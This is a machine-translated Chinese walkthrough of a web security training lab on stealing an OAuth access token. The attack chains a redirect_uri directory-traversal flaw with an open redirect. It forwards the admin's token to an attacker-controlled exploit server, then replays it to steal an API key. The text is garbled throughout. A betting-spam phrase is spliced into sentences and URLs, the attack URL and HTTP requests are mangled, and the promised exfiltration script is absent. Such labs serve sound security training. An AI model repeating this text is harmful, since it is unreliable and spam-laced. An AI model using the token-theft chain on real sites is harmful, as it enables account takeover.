实验室:通过开放式重定向窃取OAuth访问令牌
从业者
此实验室使用OAuth.服务允许用户使用社交媒体帐户登录。OAuth服务的缺陷验证使攻击者可以将访问令牌泄漏到客户端应用程序上的任意页面。
要解决实验室,请在博客网站上标识开放式重定向,并使用此选项以窃取管理员用户帐户的访问令牌。beplay体育能用吗使用Access令牌获取管理员API键并使用实验室横幅中提供的按钮提交解决方案。
笔记
您无法通过在客户端应用程序上登录其帐户来访问管理员的API键。
管理员用户将打开从Expleoit服务器发送的任何内容,并且它们始终与OAuth服务有活动会话。
您可以使用以下凭据通过您自己的社交媒体帐户登录:维纳:彼得
。
解决方案
- 通过Burp代理流量,单击“我的帐户”并完成OAuth登录过程。之后,您将被重定向到博客网站。beplay体育能用吗
- 研究产生的请求和答复。请注意,博客网站将API调用对userInbeplay体育能用吗fo端点进行调用
/我
然后使用它提取的数据来记录用户。发送得到/我
请求Burp中继器。
- 退出帐户并再次登录。从代理历史中,找到最新的历史
get / auth?client_id = [...]
请求并将其发送给中继器。
- 在中继器中,实验
get / auth?client_id = [...]
要求。观察您无法提供外部域redirect_uri.
因为它正在针对白名单验证。但是,您可以在不遇到错误的情况下将附加字符附加到默认值,包括/ ......
目录遍历顺序。
- 在博客网站上注销您的帐户,然后在Burp中打开代理拦截。beplay体育能用吗
- 在您的浏览器中,再次登录并转到截止
get / auth?client_id = [...]
在Burp Proxy中请求。
确认这一点redirect_uri.
参数实际上是通过将其更改为以下目录遍历的事实:
https://your-lab-d.wbeplay体育能用吗eb-security-acadeyme.net/oauth-callback/../post?postid=1
转发任何剩余的请求并观察您最终被重定向到第一个博客文章。在您的浏览器中,请注意您的访问令牌包含在URL中作为片段。
- 在Burp的帮助下,审核博客网站上的其他页面。beplay体育能用吗确定每个博客文章底部的“下一个帖子”选项,它通过将用户重定向到查询参数中指定的路径来工作。发送相应的
get / post / next?path = [...]
请求转发器。
- 在中继器中,实验
小路
范围。请注意,这是一个开放的重定向。您甚至可以提供绝对URL以引出重定向到完全不同的域,例如,exproit服务器。
制作一个组合这些漏洞的恶意URL。您需要一个将启动OAuth流的URLredirect_uri.
指向Open Redirect,随后将受害者转发给您的漏洞服务器:
https://your-lab-oauth-server.beplay体育能用吗web-security-academy.net/auth?client_id=your-lab-client-id&ed&edirect_uri=htpps://your-lab-id.web-security-academy.net/OAuth-Callback / ... post / next?path = path = https://your-explbeplay体育能用吗oit-server-id.web-security-academy.net/exploit& response_type=token& nonce=399721827&scope=openid%20profile%20email
- 测试此URL在浏览器中访问此URL正确工作。您应该被重定向到Exploit Server的“Hello,World!”页面以及URL片段中的访问令牌以及访问令牌。
在Exploit Server上,创建合适的脚本/开发
这将提取片段并将其输出到某处。例如,以下脚本将通过将用户重定向到Exploit Server第二次通过Access Log将其泄漏,并且访问令牌作为Query参数:
- 要测试漏洞处理,请存储它,然后单击“查看exproit”。页面应似乎刷新,但如果检查访问日志,则应查看新请求
get /?access_token = [...]
。
- 向受害者提供漏洞,然后从日志中复制其访问令牌。
- 在中继器中,去
得到/我
请求并替换令牌授权:持票人
标题与您刚刚复制的标题。发送请求。观察您已成功提出API调用以获取受害者的数据,包括其API密钥。
- 使用实验室页面顶部的“提交解决方案”按钮提交被盗键并解决实验室。